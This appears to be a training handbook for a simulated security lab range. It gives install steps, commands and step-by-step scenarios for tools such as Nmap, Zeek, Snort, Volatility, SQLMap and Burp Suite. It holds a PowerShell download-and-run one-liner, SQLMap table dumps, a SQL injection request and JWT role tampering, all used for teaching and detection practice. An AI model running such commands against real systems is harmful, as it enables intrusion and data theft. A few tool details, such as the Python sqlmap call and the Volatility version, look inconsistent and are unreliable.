Advanced tools handbook

Every tool on the advanced security shelf, with how to install it, the commands you'll actually type, and a lab scenario you can follow step by step. Everything runs against the simulated range — no live network, no real execution.

Discovery & reconnaissance

Nmap

Nmap Project (Gordon Lyon) · v7.94 · Discovery & reconnaissance

Nmap maps the simulated network: it finds hosts, lists open ports, fingerprints services and runs NSE checks against the authored estate.

Installation

Step 1
Tick it on the launcher
Under Advanced security tools → Discovery & reconnaissance, tick Nmap. Any lab tagged recon locks it on for you.
Step 2
Or install by hand from a terminal
On a Linux host the package manager pulls it in.
```
sudo apt install -y nmap
```
Step 3
Confirm the version
The range reports 7.94, matching the shelf entry.
```
nmap --version
```

Common commands

Step 1
Ping sweep a subnet
Discover which authored hosts answer.
```
nmap -sn 10.20.0.0/24
```
Step 2
Fast top-1000 TCP scan
The default when you just want to see what is listening.
```
nmap -T4 10.20.0.42
```
Step 3
Service and version detection with default scripts
Adds banners plus the safe NSE library.
```
nmap -sV -sC -oN scan.txt 10.20.0.42
```
Step 4
Targeted UDP check
UDP is slower — narrow the ports.
```
sudo nmap -sU -p 53,123,161 10.20.0.42
```

Lab scenario — Find the rogue service on the DMZ

A DMZ host has picked up a port it should not have. Use Nmap to prove it and hand a clean report to the change board.

Step 1
Discover live hosts
Start with a ping sweep of the DMZ range.
```
nmap -sn 10.30.0.0/24
```
Step 2
Full TCP scan of the suspect
Sweep all 65535 ports so nothing hides above 1024.
```
nmap -p- -T4 10.30.0.15
```
Step 3
Fingerprint the new port
Pin the service to a real product and version.
```
nmap -sV -sC -p 6379 10.30.0.15
```
Step 4
Export evidence
Grepable output pastes cleanly into the ticket.
```
nmap -sV -oG dmz.gnmap 10.30.0.15
```

Debrief. The extra port is a Redis instance the app team stood up for caching. File the finding against the change board and open a ticket to move it behind the internal VLAN.

Cloud CLI (aws-compatible)

Range control plane · v2.15.30 · Discovery & reconnaissance

An aws-CLI-compatible client for the range's simulated control plane. Reads caller identity, IAM users and roles, access keys, buckets, instances, secrets and the audit trail — the same estate the Cloud Console shows, so CLI enumeration and console review agree.

Installation

Step 1
Enable on the shelf
Advanced security tools → tick Cloud CLI (aws-compatible). Labs that need it lock the toggle on.
Step 2
Manual install
What a real operator would type.
```
apt install awscli
```

Common commands

Step 1
aws
Runs against the scenario's authored fixtures.
```
aws
```

Lab scenario — Practice Cloud CLI (aws-compatible) in the range

Enumerate identities, keys, buckets and control-plane events.

Step 1
Open the tool
From the desktop or the terminal, launch Cloud CLI (aws-compatible).
```
aws
```
Step 2
Work through a task
Follow the scenario brief; every command targets simulated hosts and authored data.
Step 3
Record your findings
Attach output to the mission ticket for grading.

Debrief. Every call is answered from the authored cloud estate. No AWS endpoint is contacted and no credential is real.

Packet & network traffic analysis

Wireshark

Wireshark Foundation (formerly Ethereal) · v4.2.2 · Packet & network traffic analysis

Wireshark and tshark open the PCAPs a scenario ships. You dissect protocols, follow streams and filter with display syntax.

Installation

Step 1
Turn it on from the shelf
Advanced security tools → Packet & network traffic analysis. Any lab that mentions pcap or packet locks it on.
Step 2
Manual install
Both the GUI and the console tools come from one package family.
```
sudo apt install -y wireshark tshark
```

Common commands

Step 1
Open a capture
From the file manager double-click the .pcap, or from a shell:
```
wireshark /labs/incident.pcap
```
Step 2
Summarize a capture
Duration, packet count, average rate.
```
capinfos incident.pcap
```

Step 3

Filter HTTP traffic in the console

Display filter syntax matches the GUI.

tshark -r incident.pcap -Y 'http.request' -T fields -e ip.dst -e http.host -e http.request.uri

Step 4
Slice a big capture
Keep only the first 200 packets for sharing.
```
editcap -r incident.pcap slice.pcap 1-200
```

Lab scenario — Reconstruct a suspicious upload

A DLP alert points at a workstation that pushed a large file out over HTTP. Prove what was sent.

Step 1
Open the capture
Pull up the fixture attached to the ticket.
```
wireshark /cases/1042/egress.pcap
```
Step 2
Filter to the endpoint
Type in the display filter bar.
```
ip.src == 10.10.4.17 && http.request.method == "POST"
```
Step 3
Follow the stream
Right-click a matching packet → Follow → HTTP Stream and read the request body.
Step 4
Export the object
File → Export Objects → HTTP and save the payload for the case.

Debrief. The stream shows a POST to a personal file-share host with the exfiltrated document as the body. Attach the exported object to the ticket and close it with impact stated.

Zeek

Zeek Project (formerly Bro) · v6.0.3 · Packet & network traffic analysis

Zeek turns traffic into structured logs (conn, dns, http, ssl, files, notice). You pivot through those logs the way an NSM analyst would.

Installation

Step 1
Enable on the shelf
Intrusion detection & network monitoring → Zeek. Labs tagged beacon or nsm require it.
Step 2
Manual install
Zeek is Linux-only in the range.
```
sudo apt install -y zeek
```

Common commands

Step 1
Generate logs from a capture
Runs the default policy over a PCAP fixture.
```
zeek -r /labs/beacon.pcap
```
Step 2
Cut fields out of a log
zeek-cut is the standard way to read the TSV logs.
```
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration
```

Step 3

Find long connections

Sort by duration to surface long-lived flows.

cat conn.log | zeek-cut id.orig_h id.resp_h duration | sort -k3 -n | tail

Lab scenario — Hunt a low-and-slow beacon

A hunt hypothesis says an endpoint is beaconing every 60s to a low-reputation host.

Step 1
Build the logs
Run Zeek over the week's capture.
```
zeek -r /hunt/week.pcap
```

Step 2

Pull the connection log

Filter to the workstation.

cat conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p | grep 10.10.4.17

Step 3

Look for regular cadence

Group by destination and count the flows.

cat conn.log | zeek-cut id.orig_h id.resp_h | sort | uniq -c | sort -rn | head

Step 4

Confirm with DNS

Read dns.log for the resolved host names.

cat dns.log | zeek-cut query answers | grep suspicious.example

Debrief. The top talker is the beacon: 1,440 connections in 24h to one host, DNS resolves to a parked domain. Escalate to containment and open a case in TheHive.

tcpdump

The Tcpdump Group · v4.99.4 · Packet & network traffic analysis

tcpdump is the ubiquitous CLI packet capture and filter. In the range it reads authored PCAPs and filters them with BPF syntax.

Installation

Step 1
Enable on the shelf
Packet & network traffic analysis → tcpdump.
Step 2
Manual install
Debian package.
```
sudo apt install -y tcpdump
```

Common commands

Step 1
Read a capture
-r reads from file; -n keeps names unresolved.
```
tcpdump -nn -r incident.pcap
```

Step 2

Filter by host and port

BPF filter at the end.

tcpdump -nn -r incident.pcap 'host 10.10.4.17 and port 443'

Step 3

Slice out a subset

Write a smaller file for sharing.

tcpdump -nn -r incident.pcap -w slice.pcap 'host 10.10.4.17'

Lab scenario — Extract the beacon flows

Cut a big capture down to just the suspect endpoint's traffic.

Step 1
Confirm the host is present
Any packets at all?
```
tcpdump -nn -r week.pcap 'host 10.10.4.17' | head
```
Step 2
Write the slice
So the analyst does not carry 4GB around.
```
tcpdump -nn -r week.pcap -w beacon.pcap 'host 10.10.4.17'
```

Debrief. You hand beacon.pcap to the hunt team; they open it in Wireshark.

Intrusion detection & network monitoring

Snort

Cisco / Snort Project · v2.9.20 · Intrusion detection & network monitoring

Snort is the reference signature IDS. In the range you write rules and test them against the scenario's authored packet fixtures.

Installation

Step 1
Enable on the shelf
Intrusion detection & network monitoring → Snort. Any lab tagged signature or detection engineering locks it on.
Step 2
Manual install
The package pulls the rule engine and default community rules.
```
sudo apt install -y snort
```

Common commands

Step 1
Validate a rule file
Check syntax before you enable it.
```
snort -T -c /etc/snort/snort.conf
```

Step 2

Read a PCAP with your rules

Fast, offline, and repeatable.

snort -q -r /labs/attack.pcap -c /etc/snort/snort.conf -A console

Step 3
One-off rule with -A console
Quick test without editing the ruleset.
```
snort -r /labs/attack.pcap -A console -k none --daq-list
```

Lab scenario — Write a rule for a webshell touch

You saw a POST to /uploads/cmd.php in the capture. Write a Snort rule that fires once per session, not per packet.

Step 1
Inspect the traffic
Read the request in Wireshark first to confirm the shape.
```
tshark -r attack.pcap -Y 'http.request.uri contains "cmd.php"'
```

Step 2

Draft the rule

Save into /etc/snort/rules/local.rules.

alert tcp any any -> $HOME_NET any (msg:"WEBSHELL cmd.php touched"; content:"POST"; http_method; content:"/uploads/cmd.php"; http_uri; sid:1000101; rev:1;)

Step 3
Test it
Rerun Snort with the updated rules over the same fixture.
```
snort -q -r attack.pcap -c /etc/snort/snort.conf -A console
```
Step 4
Tune the noise
Add `flow:to_server,established;` so it fires only on the request side.

Debrief. The rule now fires once per session with SID 1000101. Commit it and log the change in the detection engineering log.

Suricata

Open Information Security Foundation · v7.0.4 · Intrusion detection & network monitoring

Suricata is a high-performance IDS/IPS/NSM. It reads rules, matches against traffic, and emits fast.log and rich eve.json events.

Installation

Step 1
Enable on the shelf
Intrusion detection & network monitoring → Suricata.

Step 2

Manual install

Debian package plus the ET Open ruleset.

sudo apt install -y suricata suricata-update && sudo suricata-update

Common commands

Step 1

Validate rules

-T is the test flag.

sudo suricata -T -c /etc/suricata/suricata.yaml

Step 2
Read a PCAP
Emits fast.log and eve.json in /var/log/suricata.
```
suricata -r /labs/attack.pcap -k none
```
Step 3
Tail alerts
Human-readable alerts.
```
tail -f /var/log/suricata/fast.log
```

Step 4

Filter eve.json

Extract alert events.

jq 'select(.event_type=="alert")' /var/log/suricata/eve.json

Lab scenario — Confirm ET rules catch the sample

The team wants proof the ET Open ruleset alerts on the CTI sample.

Step 1
Run over the PCAP
Suricata writes alerts to /var/log/suricata.
```
suricata -r /cti/sample.pcap -k none
```
Step 2
Grep the SID
The CTI note names SID 2024231.
```
grep 2024231 /var/log/suricata/fast.log
```

Debrief. Alert count and SID go into the CTI report — evidence, not opinion.

Endpoint telemetry & host instrumentation

Sysinternals Sysmon

Microsoft Sysinternals · v15.15 · Endpoint telemetry & host instrumentation

Sysmon adds high-fidelity host telemetry to Windows: process create/terminate (1/5), network connections (3), image loads (7), pipes (17), DNS (22).

Installation

Step 1
Enable on the shelf
Endpoint telemetry & host instrumentation → Sysmon.
Step 2
Manual install (PowerShell, elevated)
Install with a config; SwiftOnSecurity is the community starter.
```
Sysmon64.exe -accepteula -i sysmonconfig.xml
```
Step 3
Reload a new config later
Without reinstalling.
```
Sysmon64.exe -c sysmonconfig.xml
```

Common commands

Step 1
Read events in Splunk
The forwarder writes them to the WinEventLog:Microsoft-Windows-Sysmon/Operational index.
Step 2
Common hunts
EventCode=1 for process creation, 3 for network, 7 for image loads.

Lab scenario — Detect PowerShell downloading a payload

Confirm Sysmon lets you catch a download-then-run pattern.

Step 1

Fire the pattern

In an elevated shell on the target VM.

powershell -c "iwr http://payload.range.local/x.ps1 -OutFile a.ps1; .\a.ps1"

Step 2

Search Sysmon

3 (network) then 1 (process) from the same PPID.

index=win source=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode IN (1,3) Image=*powershell*

Debrief. The two events tie together by ProcessGuid — the shape a real hunt looks for.

Sysinternals Suite

Microsoft Sysinternals · v2024.06 · Endpoint telemetry & host instrumentation

Sysinternals is the Windows deep-inspection suite: Autoruns, Process Explorer, Process Monitor, TCPView, PsExec, Handle, Strings.

Installation

Step 1
Enable on the shelf
Endpoint telemetry → Sysinternals.

Step 2

Manual install

Runs from an extracted folder — no installer.

Expand-Archive SysinternalsSuite.zip -DestinationPath C:\Tools\Sysinternals

Common commands

Step 1
Autoruns
List every persistence location.
```
autoruns.exe
```
Step 2
Process Explorer
Tree of processes with signer, handles and network.
```
procexp.exe
```
Step 3
Process Monitor
File, registry, process and network trace with filters.
```
procmon.exe
```
Step 4
Handle
Which process holds this file?
```
handle.exe C:\path\to\locked.file
```

Lab scenario — Find the persistence

IR says the host re-infects after reboot. Find where.

Step 1
Run Autoruns as admin
Check every tab; the Options menu can hide Microsoft-signed entries.
Step 2
Look for unsigned or odd paths
The suspect entry is under Logon or Scheduled Tasks.
Step 3
Right-click → Jump to Entry
Autoruns opens the registry key or file that owns it.

Debrief. You have the exact registry key or task that respawns the payload — remediation is one delete + reboot away.

Osquery

Linux Foundation (originally Facebook) · v5.12.1 · Endpoint telemetry & host instrumentation

osquery exposes the operating system as SQL. You query processes, sockets, users and files with SELECT statements.

Installation

Step 1
Enable on the shelf
Endpoint telemetry → osquery.
Step 2
Manual install
Debian package.
```
sudo apt install -y osquery
```

Common commands

Step 1
Interactive shell
The osqueryi REPL.
```
osqueryi
```

Step 2

List listening sockets

Common triage query.

SELECT pid, address, port FROM listening_ports;

Step 3

Join to processes

Add the owning process to each socket.

SELECT p.name, l.port FROM listening_ports l JOIN processes p ON p.pid=l.pid;

Lab scenario — Which process is on 4444?

Netstat says 4444 is listening. Find and identify the owner.

Step 1

Join listening_ports to processes

One query answers it.

SELECT p.name, p.path, l.port FROM listening_ports l JOIN processes p ON p.pid=l.pid WHERE l.port=4444;

Step 2

Confirm on disk

Hash and inspect the binary.

SELECT path, sha256 FROM hash WHERE path='/tmp/beacon';

Debrief. You have PID, path and hash for the ticket in one shot.

Digital forensics & reverse engineering

Volatility 3

Volatility Foundation · v2.7.0 · Digital forensics & reverse engineering

Volatility (v2 in the range) analyzes memory images. Simulated dumps come with the plugins and profiles you need — imageinfo, pslist, malfind, netscan, dumpfiles.

Installation

Step 1
Enable on the shelf
Digital forensics & reverse engineering → Volatility.
Step 2
Manual install
Python 2 flavor to match the plugin ecosystem.
```
sudo apt install -y volatility
```

Common commands

Step 1
Identify the image
Suggests the profile to use.
```
volatility -f memory.dmp imageinfo
```

Step 2

Process list

Every process at capture time.

volatility -f memory.dmp --profile=Win10x64_19041 pslist

Step 3

Find injected code

The classic malfind plugin.

volatility -f memory.dmp --profile=Win10x64_19041 malfind -D /out

Step 4

Dump a process

Writes the executable to disk.

volatility -f memory.dmp --profile=Win10x64_19041 procdump -p 4048 -D /out

Lab scenario — Find the injected explorer.exe

IR handed you a memory image. Confirm the injection.

Step 1
imageinfo
Pick the profile it suggests.
```
volatility -f mem.dmp imageinfo
```
Step 2
malfind on the profile
Look for MZ headers in RWX regions.
```
volatility -f mem.dmp --profile=Win10x64_19041 malfind
```

Step 3

Dump the region

Write it for static analysis.

volatility -f mem.dmp --profile=Win10x64_19041 malfind -D /out

Debrief. You have the injected region as a file, ready for Ghidra or YARA.

Ghidra

National Security Agency · v11.1.2 · Digital forensics & reverse engineering

Ghidra is the NSA's open-source reverse engineering suite: decompiler, disassembler, scripting and project sharing.

Installation

Step 1
Enable on the shelf
Digital forensics & reverse engineering → Ghidra.

Step 2

Manual install

Unpack the release archive.

unzip ghidra_11.1.2_PUBLIC.zip && cd ghidra_11.1.2_PUBLIC && ./ghidraRun

Common commands

Step 1
Create a project
File → New Project → Non-Shared.
Step 2
Import the sample
Drag the binary onto the project; accept analysis defaults.
Step 3
Open in Code Browser
Read the decompiled C on the right pane.

Lab scenario — Find the C2 string in the sample

IR wants the C2 host from a captured binary.

Step 1
Import and auto-analyze
Let Ghidra finish before you hunt.
Step 2
Search → For Strings
Filter by http:// or looks-like-a-domain.
Step 3
Cross-reference
Right-click the string → Show References → follow to the code that uses it.

Debrief. You add the C2 string and the calling function offset to the case file.

YARA

VirusTotal · v4.5.1 · Digital forensics & reverse engineering

YARA is the malware pattern-matching language. You write rules with strings and conditions and scan files or memory.

Installation

Step 1
Enable on the shelf
Digital forensics & reverse engineering → YARA.
Step 2
Manual install
Debian package.
```
sudo apt install -y yara
```

Common commands

Step 1
Scan a file
Prints matching rule names.
```
yara -r rules.yar /samples/
```

Step 2

Rule skeleton

Save as rules.yar.

rule ExampleC2 { strings: $a = "badhost.example" ascii wide condition: any of them }

Step 3
Match memory dump
Point YARA at the .dmp.
```
yara rules.yar memory.dmp
```

Lab scenario — Write a hunt rule

You have three samples that share a unique string. Cover them with one rule.

Step 1
Extract the shared string
strings + diff, or CyberChef.
```
strings sample1.bin | sort > s1 && diff s1 s2
```
Step 2
Draft the rule
Use ascii + wide so it catches Unicode encoded copies.
Step 3
Test
Should match all three samples and nothing in the goodware corpus.
```
yara -r hunt.yar /samples/
```

Debrief. Ship the rule to the fleet; keep the samples in the shared repo for regression.

Threat intelligence & case management

TheHive

StrangeBee · v5.2.7 · Threat intelligence & case management

TheHive is the incident response case-management platform: cases, tasks, observables, TLP, and integrations with MISP and Cortex.

Installation

Step 1
Enable on the shelf
Threat intelligence & case management → TheHive.
Step 2
Open the console
The shelf lists the URL.

Common commands

Step 1
Open a case from an alert
Alerts → Preview → Import.
Step 2
Add observables
IPs, domains, hashes, filenames — each with TLP and IOC flag.
Step 3
Task workflow
Tasks → assign, add work notes, tick complete.

Lab scenario — Run a case end-to-end

An alert arrives from Splunk. Take it through triage to close.

Step 1
Import the alert
Alerts → the top one → Import.
Step 2
Enrich the observables
Send each IP/hash to Cortex analyzers.
Step 3
Complete the tasks
Containment, eradication, recovery, lessons learned.
Step 4
Close with a summary
Impact, root cause, actions.

Debrief. The case has a full audit trail — the artifact real IR teams keep.

MISP

MISP Project / CIRCL · v2.4.194 · Threat intelligence & case management

MISP is the community threat-sharing platform: events, attributes, taxonomies, galaxies and STIX/OpenIOC export.

Installation

Step 1
Enable on the shelf
Threat intelligence & case management → MISP.
Step 2
Open the console
URL on the shelf entry.

Common commands

Step 1
Create an event
Event → Add Event → set threat level and analysis.
Step 2
Add attributes
IP, domain, hash, filename; tag with MITRE ATT&CK.
Step 3
Export a feed
Sync to the SIEM or share with a partner.

Lab scenario — Turn a case into shareable intel

You closed a case in TheHive. Publish the IOCs to MISP for the sector.

Step 1
Create the event
Threat level and TLP:AMBER.
Step 2
Import the observables
From the TheHive case.
Step 3
Publish
The feed becomes available to the sharing group.

Debrief. Peers get the IOCs; you get credit and future community pushes back to you.

Vulnerability scanning

OpenVAS / Greenbone

Greenbone Networks · v22.4.1 · Vulnerability scanning

OpenVAS/Greenbone runs vulnerability scans across the estate and reports per-host findings with CVE, CVSS and remediation.

Installation

Step 1
Enable on the shelf
Vulnerability scanning → OpenVAS / Greenbone. Locked on for any lab tagged vulnerability management.
Step 2
Manual install
Linux-only, feed sync runs at first boot.
```
sudo apt install -y gvm && sudo gvm-setup
```
Step 3
Log in to the console
The shelf lists the console URL.
```
open https://gvm.range.local:9392
```

Common commands

Step 1
List available scan configs
Full and Fast is the sensible default.
```
gvm-cli --gmp-username admin socket --xml '<get_configs/>'
```

Step 2

Start a scan by target

Kicks off the authored scan pipeline.

gvm-cli socket --xml '<create_task><name>DMZ</name><config id="daba56c8-73ec-11df-a475-002264764cea"/><target id="..."/></create_task>'

Step 3

Export a report as PDF

For the ticket attachment.

gvm-cli socket --xml '<get_reports report_id="..." format_id="c402cc3e-b531-11e1-9163-406186ea4fc5"/>'

Lab scenario — First-pass triage on a new subnet

The team was handed a subnet from an acquisition. Produce a risk-ranked list of findings.

Step 1
Create a target
Add 10.60.0.0/24 as a target in Configuration → Targets.
Step 2
Run Full and Fast
Pick the default scan config and start it.
Step 3
Sort by severity
In Reports → Results, sort by CVSS descending.
Step 4
Export PDF
Attach the PDF to the acquisition triage ticket.

Debrief. You produce a short list of high-severity findings — the ones to fix before the network is trusted. Everything else goes into a remediation plan with owners.

Probely

Probely (Snyk) · v2024.6 · Vulnerability scanning

Probely is a SaaS DAST for web apps and APIs. The range ships an offline client that scans the in-range web fixtures — no account or internet needed.

Installation

Step 1
Enable on the shelf
Vulnerability scanning → Probely.
Step 2
Manual install
The offline client is a Python package.
```
pip3 install probely
```

Common commands

Step 1

Add a target

probely targets add --url https://shop.range.local

Step 2
Kick off a scan
Runs the offline crawl + test phases.
```
probely scan start --target shop.range.local
```
Step 3
Export findings
JSON is easiest to feed a ticket bot.
```
probely findings export --format json > findings.json
```

Lab scenario — Verify a fix reduced OWASP Top 10 hits

Dev shipped a fix for reflected XSS on the shop. Confirm.

Step 1
Baseline the app
Run a scan and note the reflected XSS finding.
```
probely scan start --target shop.range.local
```
Step 2
Apply the fix
Deploy the patched build (already staged in the lab).
Step 3
Rescan
The finding should drop out of the report.
```
probely scan start --target shop.range.local
```
Step 4
Confirm regression coverage
Compare the two JSON reports.
```
diff <(jq . before.json) <(jq . after.json)
```

Debrief. The XSS finding is gone and no new issues appeared. You close the ticket with a link to both reports.

Trivy

Aqua Security · v0.53.0 · Vulnerability scanning

Trivy is Aqua's scanner for containers, filesystems, git repos and IaC — CVEs, secrets and misconfigurations in one command.

Installation

Step 1
Enable on the shelf
Web application security testing → Trivy.
Step 2
Manual install
Debian package.
```
sudo apt install -y trivy
```

Common commands

Step 1
Image scan
Reports CVEs in the image layers.
```
trivy image nginx:1.25
```
Step 2
Filesystem scan
Repos or project directories.
```
trivy fs /repos/shop
```
Step 3
IaC scan
Terraform, Kubernetes YAML.
```
trivy config /repos/infra
```

Lab scenario — Check the base image before the release

The release branch bumps the base image. Confirm it did not add a new critical CVE.

Step 1
Scan the old image
Baseline the count.
```
trivy image --severity CRITICAL app:1.4
```
Step 2
Scan the new image
Same filter.
```
trivy image --severity CRITICAL app:1.5
```
Step 3
Compare
If the new count is higher, block the release.

Debrief. The release gate is a diff on Trivy output, not a vibe check.

Web application security testing

Acunetix

Invicti Security · v24.4 · Web application security testing

Acunetix is a commercial web scanner with proof-based verification. The range models the scan lifecycle and the report over authored targets.

Installation

Step 1
Enable on the shelf
Web application security testing → Acunetix. Pre-installed when a lab needs it.
Step 2
Open the console
The web UI is ready at the shelf-listed URL.
```
open https://acunetix.range.local:3443
```

Common commands

Step 1
Register a target
Targets → Add Target → enter the in-range URL.
Step 2
Start a Full Scan
Scan → New Scan → Full Scan on the target.
Step 3
Review Proof of Exploit
Findings that carry a Proof tab are confirmed, not suspected.

Lab scenario — Prove or disprove a suspected SQLi

Devs say a finding from a previous scan was a false positive. Use proof-based verification.

Step 1
Scan the endpoint
Target the login form and run a Full Scan.
Step 2
Read the Proof tab
If the finding is confirmed, the tab shows a benign payload and the response fragment that proves it.
Step 3
Export the report
Report → Executive Summary → PDF.

Debrief. The Proof tab settles the argument: either the finding has evidence, or it drops off. Close the debate with the exported PDF.

Burp Suite

PortSwigger · v2024.5 (Community-equivalent surface) · Web application security testing

Burp Suite is the interception proxy and manual testing workbench. You intercept, replay and fuzz requests against in-range applications.

Installation

Step 1
Enable on the shelf
Web application security testing → Burp Suite. Locked on for labs tagged proxy or web exploitation.
Step 2
Launch it
Available on the Start menu once installed.
```
burpsuite
```

Common commands

Step 1
Set the proxy
Proxy → Options → 127.0.0.1:8080; the simulated browser trusts the CA already.
Step 2
Intercept a request
Turn Intercept On, submit a form, edit the request, forward it.
Step 3
Repeater
Right-click a request → Send to Repeater to iterate quickly.
Step 4
Intruder
Right-click → Send to Intruder for a wordlist-driven fuzz.

Lab scenario — Escalate privileges by tampering with a JWT

The shop app puts your role in a JWT claim. Change it and see what the app trusts.

Step 1
Capture the request
Log in as a normal user, intercept the /orders request in the Proxy tab.
Step 2
Send to Repeater
So you can edit and replay without touching the browser.
Step 3
Decode the JWT
Use the Decoder tab: Base64 → JSON. Change `role` from `customer` to `admin`.
Step 4
Replay
Send the tampered request; note the response code and body.

Debrief. If the app returns admin data, the token is not verified server-side — file a critical finding and open a remediation ticket. If it 401s, the token check works.

SQLMap

sqlmapproject · v1.8.2 · Web application security testing

SQLMap detects and exploits SQL injection. In the range it targets authored ChallengeService fixtures — flags that would touch the outside world are refused, not silently ignored.

Installation

Step 1
Enable on the shelf
Web application security testing → SQLMap. Any lab tagged sqli locks it on.

Step 2

Manual install

Debian package or pip.

sudo apt install -y sqlmap  # or: pip install sqlmap

Common commands

Step 1
Test one URL
Batch mode accepts defaults so it runs unattended.
```
sqlmap -u 'https://shop.range.local/item?id=1' --batch
```

Step 2

Detection with tuning

--level and --risk widen the test set.

sqlmap -u '...?id=1' --level 3 --risk 2 --technique BEUSTQ --batch

Step 3
Enumerate
Databases → tables → columns → dump.
```
sqlmap -u '...?id=1' --dbs --batch
```
Step 4
Dump a table
Bounded rows so the output stays readable.
```
sqlmap -u '...?id=1' -D shop -T users --dump --batch
```

Lab scenario — Prove the shop is injectable and pull the users table

The pentest ticket asks for proof, not opinion.

Step 1

Fingerprint the DBMS

Save the session so you can iterate.

sqlmap -u 'https://shop.range.local/item?id=1' --batch --current-db --current-user

Step 2

Enumerate schema

List tables in the current database.

sqlmap -u 'https://shop.range.local/item?id=1' --tables --batch

Step 3

Dump users

Get columns first, then dump.

sqlmap -u 'https://shop.range.local/item?id=1' -D shop -T users --dump --batch

Step 4
Also from Python (installed range)
Import sqlmap in a Python script for automation.
```
python -c 'import sqlmap; sqlmap.scan(url="https://shop.range.local/item?id=1")'
```

Debrief. You attach the current DB, the schema and a dump excerpt to the ticket. Dangerous flags like --os-shell were refused — noted in the report.

Nikto

CIRT.net · v2.5.0 · Web application security testing

Nikto is the fast, noisy web server scanner. It checks for outdated software, dangerous files and common misconfigurations.

Installation

Step 1
Enable on the shelf
Web application security testing → Nikto.
Step 2
Manual install
Debian package.
```
sudo apt install -y nikto
```

Common commands

Step 1
Basic scan
One line per finding.
```
nikto -h https://shop.range.local
```

Step 2

Save as HTML

For the ticket attachment.

nikto -h https://shop.range.local -o report.html -Format htm

Lab scenario — Quick pre-flight before a full scan

Before firing OpenVAS, sanity-check the web tier.

Step 1
Run Nikto
Fast baseline.
```
nikto -h https://shop.range.local
```
Step 2
File the obvious ones
Outdated server header, .git exposed, default files.

Debrief. You have the low-hanging findings ticketed before the deeper scan starts.

Gobuster

OJ Reeves · v3.6 · Web application security testing

Walks a wordlist against a web server to find directories and files that answer, resolves candidate subdomains, and probes virtual hosts. The range's Gobuster resolves every word against the authored path table for the service, so a hit is a path the scenario really serves.

Installation

Step 1
Enable on the shelf
Advanced security tools → tick Gobuster. Labs that need it lock the toggle on.
Step 2
Manual install
What a real operator would type.
```
apt install gobuster
```

Common commands

Step 1
gobuster
Runs against the scenario's authored fixtures.
```
gobuster
```

Lab scenario — Practice Gobuster in the range

Content, DNS and virtual-host brute-force discovery.

Step 1
Open the tool
From the desktop or the terminal, launch Gobuster.
```
gobuster
```
Step 2
Work through a task
Follow the scenario brief; every command targets simulated hosts and authored data.
Step 3
Record your findings
Attach output to the mission ticket for grading.

Debrief. Words are looked up in the authored web fixture. Misses are silent, hits report the fixture's real status and size. No request leaves the browser.

ffuf

Joona Hoikkala · v2.1.0 · Web application security testing

Substitutes each wordlist entry into the FUZZ marker in a URL and reports the responses that survive the match/filter rules. The range's ffuf fuzzes the authored path table and honors -mc, -fc and -fs the way the real tool does.

Installation

Step 1
Enable on the shelf
Advanced security tools → tick ffuf. Labs that need it lock the toggle on.
Step 2
Manual install
What a real operator would type.
```
apt install ffuf
```

Common commands

Step 1
ffuf
Runs against the scenario's authored fixtures.
```
ffuf
```

Lab scenario — Practice ffuf in the range

Fast web fuzzer for paths, parameters and headers.

Step 1
Open the tool
From the desktop or the terminal, launch ffuf.
```
ffuf
```
Step 2
Work through a task
Follow the scenario brief; every command targets simulated hosts and authored data.
Step 3
Record your findings
Attach output to the mission ticket for grading.

Debrief. Responses come from the authored web fixture only — no socket is opened and no traffic leaves the browser.

Runtime application protection (WAAP)

Wallarm

Wallarm · v4.10 · Runtime application protection (WAAP)

Wallarm is a WAAP that discovers API endpoints, profiles traffic and blocks attacks. The range models node registration, the endpoint inventory and the attack feed.

Installation

Step 1
Enable on the shelf
Runtime application protection → Wallarm.
Step 2
Add the node
Registers a filter node into the simulated tenant.
```
sudo addnode --tenant range
```

Common commands

Step 1
List discovered endpoints
The API inventory the node built from traffic.
```
wallarm-cli endpoints list
```
Step 2
Read the attack feed
What the node is blocking, with request excerpts.
```
wallarm-cli hits tail
```
Step 3
Open the console
Attack feed and dashboards are in the UI.

Lab scenario — Confirm the node blocks an injection

You need to prove Wallarm blocks a SQL injection at the edge before an audit.

Step 1
Send a benign request
curl the endpoint, expect 200.

Step 2

Send an injection payload

The node should return 403.

curl -sS 'https://api.range.local/orders?id=1%20OR%201=1'

Step 3
Confirm the hit
The attack feed shows the request with rule id.
```
wallarm-cli hits tail -n 1
```

Debrief. You have a repeatable, evidence-backed check for the auditor. Add it to the runbook.

Data decoding, cryptanalysis & analysis

Forge Chef (CyberChef)

GCHQ / CyberChef community · v10.19.4 · Data decoding, cryptanalysis & analysis

Forge Chef (CyberChef) chains transforms over data: decoding, decrypting, hashing, parsing, extraction. Everything is a pure function over what you paste.

Installation

Step 1
Enable on the shelf
Data decoding, cryptanalysis & analysis → CyberChef. Locked on when a lab mentions encoded command, base64 or deobfuscation.
Step 2
Manual install
Debian package or unpack the release bundle.
```
sudo apt install -y cyberchef
```

Common commands

Step 1
Open the GUI
Available in the Start menu, or at the shelf URL.

Step 2

CLI recipe

Bake a saved recipe over a file.

chefctl bake --recipe base64d-then-inflate.json --in payload.txt

Step 3
Magic on unknown data
Heuristic recipe suggestion.

Lab scenario — Deobfuscate an -EncodedCommand PowerShell

Sysmon captured a PowerShell with -EncodedCommand. Read it.

Step 1
Copy the encoded string
From the 4688 command line in Splunk.
Step 2
Recipe: From Base64 → Decode text UTF-16LE
The standard shape for -EncodedCommand.
Step 3
Bake
The output is the actual PowerShell that ran.
Step 4
Extract IOCs
Add Extract URLs and Defang URLs at the end of the recipe.

Debrief. The decoded script and its IOCs go straight into the ticket — no copy-paste to an online tool.

Steghide

Steghide project · v0.5.1 · Data decoding, cryptanalysis & analysis

Steghide recovers data hidden inside JPEG and audio carriers, with StegSeek for wordlist passphrase recovery.

Installation

Step 1
Enable on the shelf
Data decoding → Steghide.
Step 2
Manual install
Two packages.
```
sudo apt install -y steghide stegseek
```

Common commands

Step 1
Info
Does the carrier hold anything?
```
steghide info suspect.jpg
```
Step 2
Extract with passphrase
Writes the payload to the current directory.
```
steghide extract -sf suspect.jpg -p 'letmein'
```

Step 3

Passphrase recovery

Wordlist attack.

stegseek suspect.jpg /usr/share/wordlists/rockyou.txt

Lab scenario — Recover the flag from a CTF image

The challenge hints at a JPEG with a passphrase from a common wordlist.

Step 1
Confirm data is present
steghide info reports capacity used.
Step 2
Run StegSeek
Cracks the passphrase and drops the payload.
```
stegseek flag.jpg rockyou.txt
```
Step 3
Read the payload
It writes flag.jpg.out next to the carrier.

